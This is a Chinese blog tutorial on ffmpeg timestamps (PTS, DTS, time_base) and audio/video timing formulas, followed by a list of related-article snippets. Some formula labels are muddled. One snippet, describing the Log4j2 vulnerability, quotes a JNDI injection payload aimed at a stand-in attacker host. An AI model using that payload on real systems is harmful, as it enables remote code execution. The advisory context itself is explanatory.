深入理解音视频pts,dts,time_base以及时间数学公式

引入

首先介绍一下基础名词

DTS(Decoding Time Stamp):即解码时间戳,这个时间戳的意义在于告诉播放器该在什么时候解码这一帧的数据。当数据没b帧时,dts = pts,有兴趣可参阅我前面视频知识类文章。

PTS(Presentation Time Stamp):即显示时间戳,这个时间戳用来告诉播放器该在什么时候显示这一帧的数据。

time_base : 时间基用于表示时间基准,即时间戳的单位。它也是用来度量时间的,在我们生活世界中,有各种时间单位比如年月日时分秒,这都可用理解为时间基。在ffmpeg是这样设计的

typedef struct AVRational{int num; ///< Numeratorint den; ///< Denominator
} AVRational;
转化成double类型 方便计算 比如原子单位是秒 则分表示AVRational{1,60};
static inline double av_q2d(AVRational a){return a.num / (double) a.den;
}

        不同时间基与相同时间戳组合,就把时间具体化了,比如2小时后买菜,那是不是可以说120分钟或者7200秒后买菜,这种转化过程在人类世界看着很鸡肋,但是可以转化成“原子时间”(最终单位 不可再往下面转换),这对于计算机处理音视频打下根基,因为不同的封装格式,timebase是不一样的。


time_base={1,60}  pts = 2h
显示未来时间戳预测值= pts * time_base =120分钟
编程处理则是:pts*av_q2d(time_base) 是帧的显示时间戳。

结合音视频实践讨论

在一个视频播放时会进行解复用得到音视频分离的压缩数据再进行解码得到原始数据,进行播放(这里暂且跳过队列,同步讨论)。为什么要这么麻烦? 假设电影大小压缩是5g 那原始数据可能高达30g,所以这个编解码过程是很有必要的。(ffmpeg的时间基都是以秒为单位)

在ffmpeg中对应的结构体为AVFrame,它的时间基为AVCodecContext 的time_base ,AVRational{1,25} 

压缩后的数据(对应的结构体为AVPacket)对应的时间基为AVStream的time_base,AVRational{1,90000}。 

因为数据状态不同,时间基不一样,所以我们必须转换,在1/25时间刻度下占10格,在1/90000下是占多少格。这就是pts的转换。

常用数学公式

每帧采样点数 即是帧讨论

音视频很多是相通但不相同知识点,具体是有差异的比如

音频视频
采样率常见的采样率有 44.1 kHz、48 kHz帧率常见的帧率有 24 fps、30 fps、60 fps
采样精度(sample depth)指的是每个音频样本的位数,常见的有 16 位、24 位等。视频色深(bit depth)指的是每个像素点的颜色位数,常见的有 8 位(256 色)、10 位(1024 色)、12 位(4096 色)等
声道数(channels)指的是音频的声道数,常见的有单声道(1)、立体声(2)、5.1 声道(6)等分辨率(resolution)指的是视频图像的宽度和高度,常见的有 1920x1080(Full HD)、3840x2160(4K)等

timestamp(秒) = pts * av_q2d(st->time_base)
根据pts来计算一帧在整个视频中的时间位置:time(秒) = st->duration * av_q2d(st->time_base)
计算视频长度af->duration = av_q2d((AVRational){frame->nb_samples, frame->sample_rate});
⾳频播放时间计算:
每帧持续时间(秒) = 每帧采样点数 / 采样频率(HZ)
以采样率44100Hz来计算,每秒44100个sample,⽽正常⼀帧为1024个sample,可知每帧播放时间/1024=44100,得到
每帧播放时间=1024/44100=0.02321995464852608s (23.21995464852608 ms)。
如果我们在处理浮点数不当,直接截取前n位,这里就存在音视频同步问题,
比如如果累计10万帧,误差>1199毫秒,那视频的音视频不对称了。int av_get_audio_frame_duration(AVCodecContext *avctx, int nb_samples)
比特率 = 采样率 * 采样精度 * 声道数
例如,如果采样率是44100Hz,采样精度是16位,双声道立体声,则比特率为 44100 × 16 × 2 = 1,372,800bps。data_size = av_samples_get_buffer_size(NULL, af->frame->channels,af->frame->nb_samples,af->frame->format, 1);
⾳频帧数据量 = 每帧采样点数 * 采样精度 * 声道数
例如,一个音频帧如果有1024个样本,每个样本是16位(2字节),并且有两个声道,则该帧的数据量为1024样本 × 2字节样本 × 2声道 = 4096字节。
以上两者关系: 音频帧数据量 * 播放时长 = 比特率 frame->pts = av_rescale_q(d->next_pts, d->next_pts_tb, tb);
输出采样点 = (输入采样点 * 输出采样率/ 输入采样率)
,即上面提到的pkt由于数据量较小,而frame数据量大,所以需要pts时间戳转化。关于音频pts的计算 很好理解 因为分成了原子块,那不就是等差数列吗:
pts = n*duration = n*nb_samples  
next_pts-current_pts=current_duration
根据数学等差公式an=a1+(n-1)*d可得pts=n*d码率 = 音频文件大小/时长int av_image_get_buffer_size(enum AVPixelFormat pix_fmt, int width, int height, int align)
一帧图像大小 = 宽 * 高 * 像素格式大小字节数

 具体音视频采样点这些基础知识,看一看我之前的文章,这里不详细深入。

不同结构体的time_base/duration分析

ffmpeg存在多个时间基准(time_base),对应不同的阶段(结构体),每个time_base具体的值不⼀样, ffmpeg提供函数在各个time_base中进⾏切换。

AVFormatContext
duration:整个码流的时⻓,获取正常时⻓的时候要除以AV_TIME_BASE,得到的结果单位是秒

AVStream

time_base:单位为秒,⽐如AAC⾳频流,他可能是{1,44100} TS流,按{1, 90000} duration:表示该数据流的时⻓,以AVStream->time_base 为单位

AVPacket

pts:以AVStream->time_base为单位

dts:以AVStream->time_base为单位

duration:以AVStream->time_base为单位

AVFrame

pts:以AVStream->time_base为单位

pkt_pts和pkt_dts:拷⻉⾃AVPacket,同样以AVStream->time_base为单位

duration:以AVStream->time_base为单位

总结

总结:ffmpeg提供了很多现成的api函数,我们在使用前需要知道它们之间的关系,不然在求学的道路上,很难快速学习。必须佩服开发人员对时间的理解,我们在求学也要多留意世界的奥妙,参悟宇宙法则,再结合实际进行创新。

        

 学习资料分享

0voice · GitHub

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/433598.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Codeforces Round 973 (Div. 2) A-C 题解

C 提交 MLE 了一次&#xff0c;原因是找到答案没加感叹号 A. Zhan’s Blender 题意 原题描述还是不太清楚 你有 n n n 个水果&#xff0c;每秒可以放入搅拌机 y y y 个水果&#xff0c;搅拌机每秒可以搅拌 x x x 个水果&#xff0c;问最终至少需要多少秒能搅完&#xff1…

第二十一节:学习Redis缓存数据库的Hash操作(自学Spring boot 3.x的第五天)

这节记录下Redis的Hash操作。主要是opsForHash方式和boundHashOps方式。 boundHashOps和opsForHash都是Spring Data Redis中用于操作Redis哈希数据结构的方法&#xff0c;但它们在使用方式和场景上存在一些区别。 boundHashOps 使用方式&#xff1a; boundHashOps方法通过Redi…

后端返回内容有换行标识,前端如何识别换行

<br/>的话 用 v-html \n 可以用css样式 white-space: pre-wrap 后端返回结果 前端

Spring源码学习:SpringMVC(2)DispatcherServlet初始化【子容器9大组件】

目录 DispatcherServlet类图HttpServletBean#initnew ServletConfigPropertyValues() FrameworkServlet#initServletBeaninitWebApplicationContextcreateWebApplicationContextconfigureAndRefreshWebApplicationContext DispatcherServlet内部9大组件初始化初识9大组件Dispat…

新手如何学习OpenStack?

引言 在当今云计算的浪潮中&#xff0c;OpenStack作为开源云计算平台的佼佼者&#xff0c;备受关注。它不仅为数据中心提供了灵活的资源管理方案&#xff0c;还极大地推动了云计算技术的普及和发展。然而&#xff0c;对于初学者而言&#xff0c;OpenStack的复杂性和庞大的组件体…

Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)

漏洞描述&#xff1a; 当用户输入信息时&#xff0c;应用程序中的log4j 2组件会将信息记录到日志中 假如日志中包含有语句${jndi:ldap:attacker:1099/exp}&#xff0c;log4j就会去解析该信息&#xff0c;通过jndi的lookup() 方法去解析该url&#xff1a;ldap:attacker:1099/e…

1panel申请https/ssl证书自动续期

参考教程 https://hin.cool/posts/sslfor1panel.html #Acme 账户 #1panel.腾讯云dns账号 这里有一步不需要参考,腾讯云dns账号,就是子帐号授权 直接控制台搜索 访问管理 创建用户 授权搜索dns,选择第一个 点击用户名,去掉AdministratorAccess权限 5.点击api密钥生成即可…

VMware搭建DVWA靶场

目录 1.安装phpstudy 2.搭建DVWA 本次搭建基于VMware16的win7系统 1.安装phpstudy 下载windows版本&#xff1a;小皮面板-好用、安全、稳定的Linux服务器面板&#xff01; 安装后先开启mysql再开启apache&#xff0c;遇到mysql启动不了的情况&#xff0c;最后重装了phpstud…

自动驾驶电车难题的康德式道德决策

摘 要 自动驾驶电车难题是检验人工智能伦理可行性的一块试金石 , 面对不同情境 , 其计算程序既要作出可决定的、 内在一致的判断决策 , 又要与人类的普遍道德常识相兼容 。 康德义务论给出了具有普遍性与一致性的理论框架。 自动驾驶电车的道德决策可视为由计算程序执行的第…

Redis篇(数据类型)

目录 讲解一&#xff1a;简介 讲解二&#xff1a;常用 一、String类型 1. 简介 2. 常见命令 3. Key结构 4. 操作String 5. 实例 二、Hash类型 1. 简介 2. 常见命令 3. 3操作hash 4. 实例 三、List类型 1. 简介 2. 特征 3. 应用场景 4. 常见命令 5. 操作list …

嘻哈纸片人仿手绘插画!FLUX一键生成方法!

​ ​ ​ 如何生成这种嘻哈纸片人的仿手绘插画&#xff1f; 只需1个lora&#xff0c;3个步骤&#xff01; 接下来我们来具体的说一下操作方法以及lora使用注意 嘻哈纸片人lora 基于FLUX模型训练 在线使用&下载地址&#xff1a; https://www.liblib.art/modelinfo/53ee…

计算机毕业设计之:微信小程序的校园闲置物品交易平台(源码+文档+讲解)

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

使用 Paramiko 实现 SSH 远程连接和命令执行

使用 Paramiko 实现 SSH 远程连接和命令执行 每当灶火燃起&#xff0c;香气弥漫&#xff0c;熟悉的味道植入记忆深处&#xff0c;家&#xff0c;才获得完整的意义。万户千家&#xff0c;味道迥异&#xff0c;但幸福的滋味&#xff0c;却何其相同。 ——《风味人间》 在现代网络…

Kubernetes从零到精通(15-安全)

目录 一、Kubernetes API访问控制 1.传输安全(Transport Security) 2.认证(Authentication) 2.1 认证方式 2.2 ServiceAccount和普通用户的区别 2.3 ServiceAccount管理方式 自动ServiceAccount示例 手动ServiceAccount示例 3.鉴权 (Authorization) 3.1鉴权方式 3.2 …

TOF系列—深度图滤波

本篇文章主要介绍TOF深度图的后处理&#xff0c;鉴于自身水平所限&#xff0c;如有错误&#xff0c;欢迎批评指正。&#xff08;欢迎进Q群交流&#xff1a;874653199&#xff09; TOF由于其本身的特性&#xff0c;导致其所获得的深度图存在以下问题&#xff1a; 1.对空的地方存…

Kafka学习笔记(一)Kafka基准测试、幂等性和事务、Java编程操作Kafka

文章目录 前言4 Kafka基准测试4.1 基于1个分区1个副本的基准测试4.2 基于3个分区1个副本的基准测试4.3 基于1个分区3个副本的基准测试5 Java编程操作Kafka5.1 引入依赖5.2 向Kafka发送消息5.3 从Kafka消费消息5.4 异步使用带有回调函数的生产消息6 幂等性6.1 幂等性介绍6.2 Kaf…

搜索引擎onesearch3实现解释和升级到Elasticsearch v8系列(一)-概述

简介 此前的专栏介绍onesearch1.0和2.0&#xff0c;详情参看4 参考资料&#xff0c;本文解释onesearch 3.0&#xff0c;从Elasticsearch6升级到Elasticsearch8代码实现 &#xff0c;Elasticsearch8 废弃了high rest client&#xff0c;使用新的ElasticsearchClient&#xff0c;…

AI驱动的智能运维:行业案例与挑战解析

华为、蚂蚁、字节跳动如何引领智能运维&#xff1f; ©作者|潇潇 来源|神州问学 引言 OpenAI 发布的 ChatGPT 就像是打开了潘多拉的魔盒&#xff0c;释放出了生产环境中的大语言模型&#xff08;LLMs&#xff09;。一些新的概念&#xff1a;“大语言模型运维 (LLMOps)”…

统信服务器操作系统进入【单用户模式】

统信服务器操作系统D版、E版、A版进入单用户模式的方式。 文章目录 前言一、问题现象二、问题原因三、解决方案1. D版问题解决方案2. E版及A版问题解决方案前言 D版又称企业版、E版又称欧拉版、A版又称龙蜥版。 单用户模式主要是在 grub2 引导时编辑内核引导,一般用于修改用…

mysql索引结构操作(主键/唯一键/普通索引的创建/查询/删除),复合索引介绍(索引覆盖,索引最左匹配原则)

目录 索引操作 创建索引 主键索引 介绍 在创建表时设置主键 创建表后添加主键 唯一键索引 介绍 在创建表时设置唯一键 创建表后添加唯一键 普通索引 在创建表时指定某列为索引 创建表后添加普通索引 自主命名索引 索引创建原则 哪些列适合创建索引 不适合作为…